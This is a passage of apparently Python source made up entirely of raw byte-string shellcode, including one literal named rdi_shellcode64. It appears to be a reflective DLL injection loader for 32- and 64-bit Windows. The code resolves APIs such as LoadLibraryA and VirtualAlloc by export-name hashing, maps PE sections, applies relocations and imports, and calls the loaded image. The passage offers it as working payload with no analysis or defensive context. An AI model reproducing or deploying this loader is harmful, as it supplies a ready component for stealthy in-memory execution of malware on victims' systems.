b'\xC7\x84\x24\x9E\x00\x00\x00\x75\x63\x74\x69\xC6\x84\x24\xA2\x00\x00\x00\x6F\x6A\x65\x59' \
|
||||
b'\x88\x8C\x24\xA8\x00\x00\x00\x88\x4C\x24\x6D\x88\x4C\x24\x74\x88\x4C\x24\x79\x88\x8C\x24' \
|
||||
b'\x92\x00\x00\x00\xB9\x13\x9C\xBF\xBD\x88\x9C\x24\xA3\x00\x00\x00\xC7\x84\x24\xA4\x00\x00' \
|
||||
b'\x00\x43\x61\x63\x68\xC6\x44\x24\x6C\x47\xC7\x44\x24\x6E\x74\x4E\x61\x74\x66\xC7\x44\x24' \
|
||||
b'\x72\x69\x76\xC7\x44\x24\x75\x53\x79\x73\x74\x66\xC7\x44\x24\x7A\x6D\x49\x88\x5C\x24\x7C' \
|
||||
b'\x66\xC7\x44\x24\x7D\x66\x6F\x66\xC7\x84\x24\x80\x00\x00\x00\x52\x74\x88\x94\x24\x82\x00' \
|
||||
b'\x00\x00\xC6\x84\x24\x83\x00\x00\x00\x41\x88\x84\x24\x84\x00\x00\x00\x88\x84\x24\x85\x00' \
|
||||
b'\x00\x00\x66\xC7\x84\x24\x86\x00\x00\x00\x46\x75\x88\x9C\x24\x88\x00\x00\x00\xC7\x84\x24' \
|
||||
b'\x89\x00\x00\x00\x63\x74\x69\x6F\x88\x9C\x24\x8D\x00\x00\x00\x66\xC7\x84\x24\x8E\x00\x00' \
|
||||
b'\x00\x54\x61\xC6\x84\x24\x90\x00\x00\x00\x62\x88\x94\x24\x91\x00\x00\x00\xE8\x77\x08\x00' \
|
||||
b'\x00\xB9\xB5\x41\xD9\x5E\x8B\xF0\xE8\x6B\x08\x00\x00\x8B\xD8\x8D\x84\x24\xC8\x00\x00\x00' \
|
||||
b'\x6A\x18\x89\x84\x24\xEC\x00\x00\x00\x58\x66\x89\x84\x24\xE6\x00\x00\x00\x66\x89\x84\x24' \
|
||||
b'\xE4\x00\x00\x00\x8D\x44\x24\x1C\x50\x8D\x84\x24\xE8\x00\x00\x00\x89\x5C\x24\x34\x50\x55' \
|
||||
b'\x55\xFF\xD6\x6A\x0C\x5F\x8D\x44\x24\x44\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x44\x24' \
|
||||
b'\x34\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x0E\x58' \
|
||||
b'\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x5C\x89\x44\x24\x18\x8D\x84\x24\xB4' \
|
||||
b'\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x15\x58\x66\x89\x44' \
|
||||
b'\x24\x14\x66\x89\x44\x24\x16\x8D\x84\x24\x94\x00\x00\x00\x89\x44\x24\x18\x8D\x84\x24\xB8' \
|
||||
b'\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x13\x5E\x8D\x44\x24' \
|
||||
b'\x6C\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xC4\x00\x00\x00\x50\x55\x8D\x44\x24' \
|
||||
b'\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x05\x58\x66\x89\x44\x24\x14\x66' \
|
||||
b'\x89\x44\x24\x16\x8D\x44\x24\x3C\x89\x44\x24\x18\x8D\x84\x24\xAC\x00\x00\x00\x50\x55\x8D' \
|
||||
b'\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x84\x24\x80\x00\x00\x00\x66\x89\x74\x24\x14' \
|
||||
b'\x89\x44\x24\x18\x8D\x84\x24\xE0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E' \
|
||||
b'\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x44\x24\x50\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x84' \
|
||||
b'\x24\xB0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF' \
|
||||
b'\xD3\x39\x6C\x24\x34\x0F\x84\x00\x07\x00\x00\x39\xAC\x24\xB4\x00\x00\x00\x0F\x84\xF3\x06' \
|
||||
b'\x00\x00\x39\xAC\x24\xAC\x00\x00\x00\x0F\x84\xE6\x06\x00\x00\x39\xAC\x24\xB8\x00\x00\x00' \
|
||||
b'\x0F\x84\xD9\x06\x00\x00\x8B\xAC\x24\xC4\x00\x00\x00\x85\xED\x0F\x84\xCA\x06\x00\x00\x8B' \
|
||||
b'\xBC\x24\x28\x01\x00\x00\x8B\x77\x3C\x03\xF7\x81\x3E\x50\x45\x00\x00\x0F\x85\xB2\x06\x00' \
|
||||
b'\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\xA3\x06\x00\x00\xF6\x46\x38\x01\x0F\x85' \
|
||||
b'\x99\x06\x00\x00\x0F\xB7\x4E\x14\x33\xDB\x0F\xB7\x56\x06\x83\xC1\x24\x85\xD2\x74\x1E\x03' \
|
||||
b'\xCE\x83\x79\x04\x00\x8B\x46\x38\x0F\x45\x41\x04\x03\x01\x8D\x49\x28\x3B\xC3\x0F\x46\xC3' \
|
||||
b'\x8B\xD8\x83\xEA\x01\x75\xE4\x8D\x84\x24\x00\x01\x00\x00\x50\xFF\xD5\x8B\x8C\x24\x04\x01' \
|
||||
b'\x00\x00\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC3\x23\xEA\x23\xC2' \
|
||||
b'\x3B\xE8\x0F\x85\x3D\x06\x00\x00\x6A\x04\x68\x00\x30\x00\x00\x55\xFF\x76\x34\xFF\x54\x24' \
|
||||
b'\x44\x8B\xD8\x89\x5C\x24\x2C\x85\xDB\x75\x13\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54' \
|
||||
b'\x24\x44\x8B\xD8\x89\x44\x24\x2C\xF6\x84\x24\x38\x01\x00\x00\x01\x74\x23\x8B\x47\x3C\x89' \
|
||||
b'\x43\x3C\x8B\x4F\x3C\x3B\x4E\x54\x73\x2E\x8B\xEF\x8D\x14\x0B\x2B\xEB\x8A\x04\x2A\x41\x88' \
|
||||
b'\x02\x42\x3B\x4E\x54\x72\xF4\xEB\x19\x33\xED\x39\x6E\x54\x76\x12\x8B\xD7\x8B\xCB\x2B\xD3' \
|
||||
b'\x8A\x04\x11\x45\x88\x01\x41\x3B\x6E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24' \
|
||||
b'\x10\x33\xC0\x89\x6C\x24\x28\x0F\xB7\x55\x14\x83\xC2\x28\x66\x3B\x45\x06\x73\x31\x03\xD5' \
|
||||
b'\x33\xF6\x39\x32\x76\x19\x8B\x42\x04\x8B\x4A\xFC\x03\xC6\x03\xCB\x8A\x04\x38\x88\x04\x31' \
|
||||
b'\x46\x3B\x32\x72\xEB\x8B\x4C\x24\x10\x0F\xB7\x45\x06\x41\x83\xC2\x28\x89\x4C\x24\x10\x3B' \
|
||||
b'\xC8\x72\xD1\x8B\xC3\xC7\x84\x24\xBC\x00\x00\x00\x01\x00\x00\x00\x2B\x45\x34\x89\x44\x24' \
|
||||
b'\x24\x0F\x84\xC4\x00\x00\x00\x83\xBD\xA4\x00\x00\x00\x00\x0F\x84\xB7\x00\x00\x00\x8B\xB5' \
|
||||
b'\xA0\x00\x00\x00\x03\xF3\x83\x3E\x00\x0F\x84\xA6\x00\x00\x00\x6A\x02\x8B\xF8\x5D\x8D\x56' \
|
||||
b'\x08\xEB\x75\x0F\xB7\x02\x89\x44\x24\x10\x0F\xB7\xC8\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75' \
|
||||
b'\x28\x8B\x16\x8B\x4C\x24\x10\x81\xE1\xFF\x0F\x00\x00\x89\x4C\x24\x10\x8D\x04\x1A\x8B\x0C' \
|
||||
b'\x08\x8D\x04\x1A\x8B\x54\x24\x10\x03\xCF\x89\x0C\x10\x8B\x54\x24\x24\xEB\x37\x66\x83\xF8' \
|
||||
b'\x03\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x3C\x19\xEB\x24\x66\x3B\x84\x24\xBC\x00' \
|
||||
b'\x00\x00\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x08\x66\x3B\xC5\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF' \
|
||||
b'\x0F\x00\x00\x03\x0E\x01\x04\x19\x03\xD5\x8B\x46\x04\x03\xC6\x89\x54\x24\x24\x3B\xD0\x0F' \
|
||||
b'\x85\x7A\xFF\xFF\xFF\x83\x3A\x00\x8B\xF2\x0F\x85\x6A\xFF\xFF\xFF\x8B\x6C\x24\x28\x8B\xBC' \
|
||||
b'\x24\x28\x01\x00\x00\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\xD7\x01\x00\x00\x8B\xB5\x80\x00' \
|
||||
b'\x00\x00\x33\xC0\x89\x44\x24\x10\x8D\x0C\x1E\x89\x4C\x24\x24\x83\xC1\x0C\x39\x01\x74\x0D' \
|
||||
b'\x8D\x49\x14\x40\x83\x39\x00\x75\xF7\x89\x44\x24\x10\x8B\x8C\x24\x38\x01\x00\x00\x8B\xD1' \
|
||||
b'\x83\xE2\x04\x89\x54\x24\x38\x8B\xD6\x0F\x84\xC3\x00\x00\x00\x83\xF8\x01\x0F\x86\xBA\x00' \
|
||||
b'\x00\x00\x83\xA4\x24\xBC\x00\x00\x00\x00\xC1\xE9\x10\x89\x8C\x24\x38\x01\x00\x00\x8D\x48' \
|
||||
b'\xFF\x89\x8C\x24\xC0\x00\x00\x00\x85\xC9\x0F\x84\xA1\x00\x00\x00\x8B\x74\x24\x24\x8B\xDE' \
|
||||
b'\x8B\xAC\x24\xBC\x00\x00\x00\x8B\xC8\x69\xFF\xFD\x43\x03\x00\x2B\xCD\x33\xD2\xB8\xFF\x7F' \
|
||||
b'\x00\x00\xF7\xF1\x81\xC7\xC3\x9E\x26\x00\x33\xD2\x89\xBC\x24\x28\x01\x00\x00\x6A\x05\x8D' \
|
||||
b'\x48\x01\x8B\xC7\xC1\xE8\x10\x8D\xBC\x24\xF0\x00\x00\x00\x25\xFF\x7F\x00\x00\xF7\xF1\x59' \
|
||||
b'\x03\xC5\x6B\xC0\x14\x6A\x05\x03\xC6\x45\x8B\xF0\xF3\xA5\x59\x8B\xF3\x8B\xF8\x8B\x44\x24' \
|
||||
b'\x10\xF3\xA5\x6A\x05\x8B\xFB\x8D\xB4\x24\xF0\x00\x00\x00\x59\xF3\xA5\x8B\xBC\x24\x28\x01' \
|
||||
b'\x00\x00\x83\xC3\x14\x8B\x74\x24\x24\x3B\xAC\x24\xC0\x00\x00\x00\x72\x87\x8B\x6C\x24\x28' \
|
||||
b'\x8B\x5C\x24\x2C\x8B\x95\x80\x00\x00\x00\xEB\x0B\x8B\x44\x24\x38\x89\x84\x24\x38\x01\x00' \
|
||||
b'\x00\x8D\x3C\x1A\x8B\x47\x0C\x89\x7C\x24\x2C\x85\xC0\x0F\x84\xB8\x00\x00\x00\x03\xC3\x50' \
|
||||
b'\xFF\x94\x24\xB4\x00\x00\x00\x8B\xD0\x89\x54\x24\x1C\x8B\x37\x8B\x6F\x10\x03\xF3\x03\xEB' \
|
||||
b'\x8B\x0E\x85\xC9\x74\x60\x8B\x7C\x24\x30\x85\xC9\x79\x09\x0F\xB7\x06\x55\x50\x6A\x00\xEB' \
|
||||
b'\x36\x83\xC1\x02\x33\xC0\x03\xCB\x89\x8C\x24\xC0\x00\x00\x00\x38\x01\x74\x0E\x40\x41\x80' \
|
||||
b'\x39\x00\x75\xF9\x8B\x8C\x24\xC0\x00\x00\x00\x55\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A' \
|
||||
b'\x8D\x44\x24\x18\x6A\x00\x89\x4C\x24\x20\x50\x52\xFF\xD7\x83\xC6\x04\x83\xC5\x04\x8B\x0E' \
|
||||
b'\x85\xC9\x74\x06\x8B\x54\x24\x1C\xEB\xA8\x8B\x7C\x24\x2C\x83\x7C\x24\x38\x00\x74\x1C\x33' \
|
||||
b'\xC0\x40\x39\x44\x24\x10\x76\x13\x69\x84\x24\x38\x01\x00\x00\xE8\x03\x00\x00\x50\xFF\x94' \
|
||||
b'\x24\xB0\x00\x00\x00\x8B\x47\x20\x83\xC7\x14\x89\x7C\x24\x2C\x85\xC0\x0F\x85\x4C\xFF\xFF' \
|
||||
b'\xFF\x8B\x6C\x24\x28\x83\xBD\xE4\x00\x00\x00\x00\x0F\x84\xAD\x00\x00\x00\x8B\x85\xE0\x00' \
|
||||
b'\x00\x00\x83\xC0\x04\x03\xC3\x89\x44\x24\x10\x8B\x00\x85\xC0\x0F\x84\x94\x00\x00\x00\x8B' \
|
||||
b'\x6C\x24\x10\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xC8\x89\x4C\x24\x1C\x8B\x75\x08' \
|
||||
b'\x8B\x7D\x0C\x03\xF3\x03\xFB\x83\x3E\x00\x74\x5B\x8B\x6C\x24\x30\x8B\x17\x85\xD2\x79\x09' \
|
||||
b'\x56\x0F\xB7\xC2\x50\x6A\x00\xEB\x30\x83\xC2\x02\x33\xC0\x03\xD3\x89\x54\x24\x38\x38\x02' \
|
||||
b'\x74\x0B\x40\x42\x80\x3A\x00\x75\xF9\x8B\x54\x24\x38\x56\x66\x89\x44\x24\x18\x66\x89\x44' \
|
||||
b'\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x54\x24\x20\x50\x51\xFF\xD5\x83\xC6\x04\x83\xC7\x04' \
|
||||
b'\x83\x3E\x00\x74\x06\x8B\x4C\x24\x1C\xEB\xAD\x8B\x6C\x24\x10\x83\xC5\x20\x89\x6C\x24\x10' \
|
||||
b'\x8B\x45\x00\x85\xC0\x0F\x85\x74\xFF\xFF\xFF\x8B\x6C\x24\x28\x0F\xB7\x75\x14\x33\xC0\x83' \
|
||||
b'\xC6\x28\x33\xFF\x66\x3B\x45\x06\x0F\x83\xE5\x00\x00\x00\x03\xF5\xBA\x00\x00\x00\x40\x83' \
|
||||
b'\x3E\x00\x0F\x84\xC5\x00\x00\x00\x8B\x4E\x14\x8B\xC1\x25\x00\x00\x00\x20\x75\x0B\x85\xCA' \
|
||||
b'\x75\x07\x85\xC9\x78\x03\x40\xEB\x62\x85\xC0\x75\x30\x85\xCA\x75\x08\x85\xC9\x79\x04\x6A' \
|
||||
b'\x08\xEB\x51\x85\xC0\x75\x20\x85\xCA\x74\x08\x85\xC9\x78\x04\x6A\x02\xEB\x41\x85\xC0\x75' \
|
||||
b'\x10\x85\xCA\x74\x08\x85\xC9\x79\x04\x6A\x04\xEB\x31\x85\xC0\x74\x4A\x85\xCA\x75\x08\x85' \
|
||||
b'\xC9\x78\x04\x6A\x10\xEB\x21\x85\xC0\x74\x3A\x85\xCA\x75\x0B\x85\xC9\x79\x07\xB8\x80\x00' \
|
||||
b'\x00\x00\xEB\x0F\x85\xC0\x74\x27\x85\xCA\x74\x0D\x85\xC9\x78\x09\x6A\x20\x58\x89\x44\x24' \
|
||||
b'\x20\xEB\x1A\x85\xC0\x74\x12\x85\xCA\x74\x0E\x8B\x44\x24\x20\x85\xC9\x6A\x40\x5A\x0F\x48' \
|
||||
b'\xC2\xEB\xE4\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89' \
|
||||
b'\x44\x24\x20\x8D\x4C\x24\x20\x51\x50\x8B\x46\xFC\xFF\x36\x03\xC3\x50\xFF\x94\x24\xC4\x00' \
|
||||
b'\x00\x00\xBA\x00\x00\x00\x40\x0F\xB7\x45\x06\x47\x83\xC6\x28\x3B\xF8\x0F\x82\x22\xFF\xFF' \
|
||||
b'\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x94\x24\xC4\x00\x00\x00\x83\xBD\xC4\x00\x00\x00\x00\x74' \
|
||||
b'\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00' \
|
||||
b'\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x28\x33\xC0\x40\x50\x50' \
|
||||
b'\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x2C\x01\x00\x00\x00\x0F\x84\xAB\x00\x00\x00' \
|
||||
b'\x83\x7D\x7C\x00\x0F\x84\xA1\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84' \
|
||||
b'\x91\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x87\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB' \
|
||||
b'\x83\x64\x24\x30\x00\x03\xCB\x85\xED\x74\x74\x8B\x37\xC7\x44\x24\x10\x00\x00\x00\x00\x03' \
|
||||
b'\xF3\x74\x66\x8A\x06\x84\xC0\x74\x1A\x8B\x6C\x24\x10\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x46' \
|
||||
b'\x8A\x06\x84\xC0\x75\xF1\x89\x6C\x24\x10\x8B\x6A\x18\x8B\x84\x24\x2C\x01\x00\x00\x3B\x44' \
|
||||
b'\x24\x10\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x30\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24' \
|
||||
b'\x30\x3B\xC5\x72\xAE\xEB\x20\x0F\xB7\x09\x8B\x42\x1C\xFF\xB4\x24\x34\x01\x00\x00\xFF\xB4' \
|
||||
b'\x24\x34\x01\x00\x00\x8D\x04\x88\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33' \
|
||||
b'\xC0\x5F\x5E\x5D\x5B\x81\xC4\x14\x01\x00\x00\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53' \
|
||||
b'\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33' \
|
||||
b'\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89' \
|
||||
b'\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C' \
|
||||
b'\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83' \
|
||||
b'\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24' \
|
||||
b'\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B' \
|
||||
b'\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8' \
|
||||
b'\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20' \
|
||||
b'\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E' \
|
||||
b'\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B' \
|
||||
b'\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB '
|
||||
rdi_shellcode64 = b'\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41' \
|
||||
b'\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x6C\x24\x90\x48\x81\xEC\x70\x01\x00\x00\x45\x33\xFF' \
|
||||
b'\xC7\x45\xD8\x6B\x00\x65\x00\x48\x8B\xF1\x4C\x89\x7D\xF8\xB9\x13\x9C\xBF\xBD\x4C\x89\x7D' \
|
||||
b'\xC8\x4C\x89\x7D\x08\x45\x8D\x4F\x65\x4C\x89\x7D\x10\x44\x88\x4D\xBC\x44\x88\x4D\xA2\x4C' \
|
||||
b'\x89\x7D\x00\x4C\x89\x7D\xF0\x4C\x89\x7D\x18\x44\x89\x7D\x24\x44\x89\x7C\x24\x2C\xC7\x45' \
|
||||
b'\xDC\x72\x00\x6E\x00\xC7\x45\xE0\x65\x00\x6C\x00\xC7\x45\xE4\x33\x00\x32\x00\xC7\x45\xE8' \
|
||||
b'\x2E\x00\x64\x00\xC7\x45\xEC\x6C\x00\x6C\x00\xC7\x44\x24\x40\x53\x6C\x65\x65\xC6\x44\x24' \
|
||||
b'\x44\x70\xC7\x44\x24\x58\x4C\x6F\x61\x64\xC7\x44\x24\x5C\x4C\x69\x62\x72\xC7\x44\x24\x60' \
|
||||
b'\x61\x72\x79\x41\xC7\x44\x24\x48\x56\x69\x72\x74\xC7\x44\x24\x4C\x75\x61\x6C\x41\xC7\x44' \
|
||||
b'\x24\x50\x6C\x6C\x6F\x63\xC7\x44\x24\x68\x56\x69\x72\x74\xC7\x44\x24\x6C\x75\x61\x6C\x50' \
|
||||
b'\xC7\x44\x24\x70\x72\x6F\x74\x65\x66\xC7\x44\x24\x74\x63\x74\xC7\x45\xA8\x46\x6C\x75\x73' \
|
||||
b'\xC7\x45\xAC\x68\x49\x6E\x73\xC7\x45\xB0\x74\x72\x75\x63\xC7\x45\xB4\x74\x69\x6F\x6E\xC7' \
|
||||
b'\x45\xB8\x43\x61\x63\x68\xC7\x44\x24\x78\x47\x65\x74\x4E\xC7\x44\x24\x7C\x61\x74\x69\x76' \
|
||||
b'\xC7\x45\x80\x65\x53\x79\x73\xC7\x45\x84\x74\x65\x6D\x49\x66\xC7\x45\x88\x6E\x66\xC6\x45' \
|
||||
b'\x8A\x6F\xC7\x45\x90\x52\x74\x6C\x41\xC7\x45\x94\x64\x64\x46\x75\xC7\x45\x98\x6E\x63\x74' \
|
||||
b'\x69\xC7\x45\x9C\x6F\x6E\x54\x61\x66\xC7\x45\xA0\x62\x6C\xE8\x7F\x08\x00\x00\xB9\xB5\x41' \
|
||||
b'\xD9\x5E\x48\x8B\xD8\xE8\x72\x08\x00\x00\x4C\x8B\xE8\x48\x89\x45\xD0\x48\x8D\x45\xD8\xC7' \
|
||||
b'\x45\x20\x18\x00\x18\x00\x4C\x8D\x4C\x24\x38\x48\x89\x45\x28\x4C\x8D\x45\x20\x33\xD2\x33' \
|
||||
b'\xC9\xFF\xD3\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x48\x45\x33\xC0\x48\x89\x44\x24\x30\x4C' \
|
||||
b'\x8D\x4D\xC8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C' \
|
||||
b'\x24\x38\x48\x8D\x44\x24\x68\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x00\xC7\x44\x24' \
|
||||
b'\x28\x0E\x00\x0E\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8D\x45\xA8\xC7\x44\x24\x28\x15' \
|
||||
b'\x00\x15\x00\x48\x8B\x4C\x24\x38\x4C\x8D\x4D\x08\x45\x33\xC0\x48\x89\x44\x24\x30\x48\x8D' \
|
||||
b'\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x78\x45\x33\xC0\x48\x89\x44' \
|
||||
b'\x24\x30\x4C\x8D\x4D\x10\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5' \
|
||||
b'\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x40\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF0' \
|
||||
b'\xC7\x44\x24\x28\x05\x00\x05\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48' \
|
||||
b'\x8D\x45\x90\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x18\xC7\x44\x24\x28\x13\x00\x13' \
|
||||
b'\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x58\x45\x33\xC0' \
|
||||
b'\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28' \
|
||||
b'\x41\xFF\xD5\x4C\x39\x7D\xC8\x0F\x84\x1D\x07\x00\x00\x4C\x39\x7D\x00\x0F\x84\x13\x07\x00' \
|
||||
b'\x00\x4C\x39\x7D\xF0\x0F\x84\x09\x07\x00\x00\x4C\x39\x7D\x08\x0F\x84\xFF\x06\x00\x00\x48' \
|
||||
b'\x8B\x55\x10\x48\x85\xD2\x0F\x84\xF2\x06\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50' \
|
||||
b'\x45\x00\x00\x0F\x85\xDF\x06\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xD0\x06' \
|
||||
b'\x00\x00\x45\x8D\x4F\x01\x44\x84\x4F\x38\x0F\x85\xC2\x06\x00\x00\x0F\xB7\x4F\x14\x41\x8B' \
|
||||
b'\xDF\x48\x83\xC1\x24\x66\x44\x3B\x7F\x06\x73\x25\x44\x0F\xB7\x47\x06\x48\x03\xCF\x44\x39' \
|
||||
b'\x79\x04\x8B\x47\x38\x0F\x45\x41\x04\x03\x01\x48\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8' \
|
||||
b'\x4D\x2B\xC1\x75\xE3\x48\x8D\x4D\x38\xFF\xD2\x8B\x55\x3C\x44\x8B\xC2\x44\x8D\x72\xFF\xF7' \
|
||||
b'\xDA\x44\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x4C\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40' \
|
||||
b'\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x54\x06\x00\x00\x48\x8B\x4F\x30\x41\xBC' \
|
||||
b'\x00\x30\x00\x00\x45\x8B\xC4\x41\xB9\x04\x00\x00\x00\x49\x8B\xD6\xFF\x55\xC8\x48\x8B\xD8' \
|
||||
b'\x48\x85\xC0\x75\x12\x44\x8D\x48\x04\x45\x8B\xC4\x49\x8B\xD6\x33\xC9\xFF\x55\xC8\x48\x8B' \
|
||||
b'\xD8\x44\x8B\xA5\xD0\x00\x00\x00\x41\xBB\x01\x00\x00\x00\x45\x84\xE3\x74\x1D\x8B\x46\x3C' \
|
||||
b'\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54' \
|
||||
b'\x72\xF0\xEB\x19\x41\x8B\xD7\x44\x39\x7F\x54\x76\x10\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88' \
|
||||
b'\x04\x19\x3B\x57\x54\x72\xF0\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\x30\x44' \
|
||||
b'\x0F\xB7\x47\x14\x49\x83\xC0\x28\x66\x44\x3B\x7F\x06\x73\x3A\x4C\x03\xC7\x45\x8B\xCF\x45' \
|
||||
b'\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48' \
|
||||
b'\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD3\x49\x83' \
|
||||
b'\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xF3\x41\xB8\x02\x00\x00\x00\x4C\x2B\x77\x30\x0F\x84' \
|
||||
b'\xD6\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xC9\x00\x00\x00\x44\x8B\x8F\xB0\x00' \
|
||||
b'\x00\x00\x4C\x03\xCB\x45\x39\x39\x0F\x84\xB6\x00\x00\x00\x4D\x8D\x51\x08\xE9\x91\x00\x00' \
|
||||
b'\x00\x45\x0F\xB7\x1A\x41\x0F\xB7\xCB\x41\x0F\xB7\xC3\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75' \
|
||||
b'\x29\x45\x8B\x01\x41\x81\xE3\xFF\x0F\x00\x00\x4B\x8D\x04\x18\x48\x8B\x14\x18\x4B\x8D\x04' \
|
||||
b'\x18\x41\xBB\x01\x00\x00\x00\x49\x03\xD6\x48\x89\x14\x18\x45\x8D\x43\x01\xEB\x4F\x41\xBB' \
|
||||
b'\x01\x00\x00\x00\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC6' \
|
||||
b'\xEB\x2E\x66\x41\x3B\xCB\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC6\x48\xC1' \
|
||||
b'\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xC8\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03' \
|
||||
